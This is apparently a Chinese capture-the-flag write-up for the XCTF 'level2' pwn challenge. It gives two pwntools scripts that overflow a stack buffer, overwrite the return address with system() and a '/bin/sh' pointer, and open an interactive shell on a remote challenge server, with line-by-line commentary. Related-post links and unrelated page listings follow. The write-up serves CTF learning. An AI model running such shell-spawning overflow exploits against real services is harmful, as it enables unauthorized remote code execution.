# ! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('leve2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
io = remote('111.198.29.45',53269)
io.sendlineafter("Input:\n", payload)
io.interactive()
io.close()

代码解析:

elf = ELF('leve2') 
sys_addr = elf.symbols['system']
  • 找到system函数 的地址

sh_addr = elf.search('/bin/sh').next()

  • 找到包含'/bin/sh'的地址.

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

  • p32()可以让我们转换整数到小端序格式,转换4字节
  • p32(0xdeadbeef) :system的参数栈要求dw 4

io = remote('111.198.29.45',53269)

  • 连接远程主机

io.sendlineafter("Input:\n", payload)

  • 接收到 some_string 后, 发送你的 payload

io.interactive()

  • 允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .

io.close()


另一种payload:

#encoding=utf-8
from pwn import *
a = remote('111.198.29.45',53269)
##system函数的地址
sysaddr = 0x08048320
##程序中/bin/sh字符串所在的地址
binshaddr = 0x0804A024
# 0x88是程序中缓冲区的大小,4个大小是需要覆盖的ebp的地址,之后是函数的返回地址,被system的地址覆盖了,进入到system函数之后,需要构造system函数的栈帧,因为ebp+8是形参的地址
#所以需要四个字节的填充p32(0),后面放的是system里面的参数的地址。这样子溢出之后就会获得shell
payload = 'a'*0x88+'b'*4+p32(sysaddr)+p32(0)+p32(binshaddr)
a.send(payload)
a.interactive()


参考:

https://bbs.pediy.com/thread-247217.htm

https://bbs.pediy.com/thread-251334.htm

https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5055&number=2&grade=0&page=1

攻防世界 | level2的更多相关文章

  1. 攻防世界PWN简单题 level2

    攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...

  2. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  3. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  4. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  5. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  6. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  7. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  8. 攻防世界 | CAT

    来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...

  9. 攻防世界 robots题

    来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...

随机推荐

  1. 关于 5.4 Eloquent ORM first() 与 get() 判断是否为空

    例如: $model = Model::first(); 可以通过is_null()来判断 $model = Model::get(); laravel自带了一个方法  $model->isEm ...

  2. git_01_上传第一个项目至git

    前言 Git是一个开源的分布式版本控制系统,可以有效.高速地处理从小到大的项目版本管理.最近在自己研究自动测试,也准备放到git上管理.由于工作中是在已有的代码库拉取.提交代码.自己想要初次建库上传项 ...

  3. 整理那些用于基本生存的shell命令

    变量定义相关的 export export可以将临时定义的变量定义成环境变量 比如在一个shell中临时定义的一个变量就没法在新打开的那个shell中继续再使用 使用export之后 这个变量就变成了 ...

  4. PHP中的异常和错误(转载)

    博客好久没有更新了,实在惭愧,最近在忙人生大事,哈哈!这段时间没有看什么新的东西,结合项目中遇到的PHP异常处理问题,我又重新梳理了之前模糊的概念,希望对大家理解PHP异常处理有所帮助. 请一定要注意 ...

  5. JDK8 parallelStream性能测试

    https://blog.csdn.net/u011870280/article/details/80700993 public static void main(String[] args) {lo ...

  6. ubuntu终端代理之proxychains

    命令行代理 安装proxychains sudo apt install proxychains 配置proxychains sudo vim /etc/proxychains.conf 在proxy ...

  7. java 泛型的内部原理:类型擦除以及类型擦除带来的问题

    一.Java泛型的实现方法:类型擦除前面已经说了,Java的泛型是伪泛型.为什么说Java的泛型是伪泛型呢?因为,在编译期间,所有的泛型信息都会被擦除掉.正确理解泛型概念的首要前提是理解类型擦出(ty ...

  8. ARM汇编1

    一. 指令和伪指令 1.1. 指令 a. (汇编)指令是CPU机器指令的助记符,经过编译后会得到一串10组成的机器码,可以由CPU读取执行. 1.2. 伪指令 b. (汇编)伪指令本质上不是指令(只是 ...

  9. vue+element Form键盘回车事件页面刷新解决

    问题描述:如下代码所示,使用element-ui 中的el-form组件对table进行条件查询,当查询条件仅有一项时,使用@keyup.enter.native事件绑定回车事件,出现点击回车后,浏览 ...

  10. Python 批量文件下载

    python文件 批量下载 .图片批量下载 ,批量请求.爬虫 #==================================================================== ...